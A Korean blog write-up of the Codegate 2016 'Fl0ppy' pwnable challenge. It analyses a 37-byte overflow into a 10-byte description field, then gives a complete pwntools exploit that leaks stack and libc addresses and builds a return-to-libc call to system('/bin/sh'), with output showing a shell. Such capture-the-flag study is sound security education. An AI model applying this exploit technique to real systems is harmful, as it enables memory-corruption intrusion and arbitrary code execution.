1 2 3 4 5 6 7 8 9 | zero@ubuntu:~/Desktop/ctf/cg2016$ file ./Fl0ppy ./Fl0ppy: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked zero@ubuntu:~/Desktop/ctf/cg2016$ gdb -q ./Fl0ppy gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : ENABLED RELRO : disabled | cs |
이번 문제도 32빝 바이너리에 메모리 프로텍션은은 까나리! 는 없고 대신.... PIE ㅠㅠ 아직 실행은 안해봤지만 귀찮아 지겠군요..
1 2 3 4 5 6 7 8 | zero@ubuntu:~/Desktop/ctf/cg2016$ ./Fl0ppy =========================================================================== 1. Choose floppy 2. Write 3. Read 4. Modify 5. Exit > | cs |
음 실행해 보니 5개의 메뉴가 있고 기능은
1 번 메뉴는 1 or 2의 플로피 디스크를 선택할 수 있고
2 번 메뉴에선 Data 와 Description 을 쓸 수 있고
3 번 메뉴에선 이걸 출력해 줍니다.
4 번 메뉴에선 이 데이터를 선택 후 수정이 가능합니다.
는 일단 대충 감으로 보자면
1번에서 플로피 선택 후 2번에서 데이터를 좀 많이 넣은 후 3번에서 Leak 된 주소들 값을 읽고 쭉쭉 나가면 될거 같습네다.
그럼 ida 로 까보죠!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | Write_Floppy Function : puts("Input your data: \n"); *(floppy_num + 4) = malloc(512u); memset(*(floppy_num + 4), 0, 512u); read(0, *(floppy_num + 4), 512u); *(floppy_num + 20) = strlen(*(floppy_num + 4)); puts("Description: \n"); read(0, (floppy_num + 8), 10u); *floppy_num = 1; result = puts("Now this floppy disk is usable!\n"); Modify_Floppy Function : puts("Input Description: \n"); read(0, &s, 37u); len_des = strlen(&s); result = strncpy((floppy_num + 8), &s, len_des - 1); | cs |
플로피에 데이터를 쓰는 함수와 수정하는 함수의 일부분 인데요.
Write_Floppy 함수로 플로피 한개의 구조를 다음과 같이 추측이 가능하고
1 2 | Floppy Struct : 24 bytes [ what(4) | Data(4) | Description(10) | dummy(2) | size(4) ] | cs |
Modify_Floppy 함수를 보면
Description 을 쓸 때는 10바이트를 썼지만 수정할 땐 37 바이트나 수정이 가능하네요!
즉, 이 부분을 통해 overflow 를 시킨 후 read floppy 메뉴를 통해 leaking 된 값들을 볼 수 있겠네용
또 다른 정보로는
1. Floppy2 가 Floppy1 보다 더 낮은 주소에 위치함
그럼 대략적인 페이로드를 짜 보자면
1. Floppy 1 주소(Stack Adress) leaking
2. __libc_start_main 을 찾는다!
3. Floppy 2 description 에서 512 바이트나 쓸 수 있으니 Floppy 1 overwrite 가능
4. 뭐 그 뒤엔 description 에 RTL 공격 코드 구성해 줘서 넣어주면 끗!
1 2 3 | if ( current_floppy != &num_1_floppy && current_floppy != &num_2_floppy ) { puts("Choose floppy disk first!\n"); } | cs |
한가지 주의할 점이 있다면.RET 주소 릭할때 보니 왜안되지 삽질하다 저 코드를 보게 되고 ㅂㄷㅂㄷ...
코드대로 현재 플로피 1 또는 2의 주소가 아니면 플로피를 선택하라 뜨고 Read_Floppy 가 실행이 안된다.
즉, RET 을 Leaking 할때는 current_floppy 가 덮어질 때 이곳엔 제대로 된 주소를 넣어줘야 한다는 점!
해결 방법 -> 다시 플로피 1을 선택해주면 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 | from pwn import * def Make_Floppy(num): p.recvuntil('>\n') p.sendline('1') p.recvuntil('\n\n') p.sendline(str(num)) def Write_Floppy(data, des): p.recvuntil('>\n') p.sendline('2') p.recvuntil('\n\n') p.sendline(data) p.recvuntil('\n\n') p.sendline(des) def Modify_Floppy(data, choic): p.recvuntil('>\n') p.sendline('4') p.recvuntil('\n\n') p.sendline(str(choic)) p.recvuntil('\n\n') p.sendline(data) def Read_Floppy(data): p.recvuntil('>\n') p.sendline('3') p.recvuntil(data) def leak_stack(): Make_Floppy(1) Modify_Floppy('A'*16, 1) Read_Floppy('A'*16) return p.recv(4) def leak_ret(): Modify_Floppy('A'*32, 1) Make_Floppy(1) Read_Floppy('A'*16 + stack + 'A'*12) return p.recv(4) def overwrite_floppy(): Make_Floppy(2) Write_Floppy('sh', 'asdf') payload = 'A'*20 payload += p32(u32(stack) + 28) # Floppy 1 - data Modify_Floppy(payload, 1) def attack(): overwrite_floppy() Make_Floppy(1) payload = p32(u32(stack) + 60) payload += 'AAAA'*6 payload += system payload += 'AAAA' payload += binsh # system(binsh) Modify_Floppy(payload, 2) p.recvuntil('>\n') p.sendline('5') ret_system = 0x22840 - 0xf7 ret_binsh = 0x1434ff - 0xf7 p = process("./Fl0ppy") Make_Floppy(1) Write_Floppy('asdf', 'asdf') print "/************ Stage 1 - Leaking Basic *******" stack = leak_stack() print "Stack : ", hex(u32(stack)) ret = leak_ret() print "Ret : ", hex(u32(ret)) print "/************ Stage 2 - Leaking Libc *******" binsh = p32(u32(ret) + ret_binsh) print "/bin/sh : ", hex(u32(binsh)) system = p32(u32(ret) + ret_system) print "System : ", hex(u32(system)) print "/************ Stage 3 - RTL *******" attack() p.interactive() | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | zero@ubuntu:~/Desktop/ctf/cg2016$ python Fl0ppy.py [+] Started program './Fl0ppy' /************ Stage 1 - Leaking Basic ******* Stack : 0xff9b92a4 Ret : 0xf75d9637 /************ Stage 2 - Leaking Libc ******* /bin/sh : 0xf771ca3f System : 0xf75fbd80 /************ Stage 3 - RTL ******* [*] Switching to interactive mode =========================================================================== $ id uid=1000(zero) gid=1000(zero) groups=1000(zero),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ | cs |
'CTFs > CodaGate PreQual 2016' 카테고리의 다른 글
[Codegate 2016] reversing : compress (0) | 2016.08.27 |
---|---|
[Codegate 2016] pwnable : Manager (0) | 2016.08.27 |
[Codegate 2016] pwnable : WaterMelon (0) | 2016.08.27 |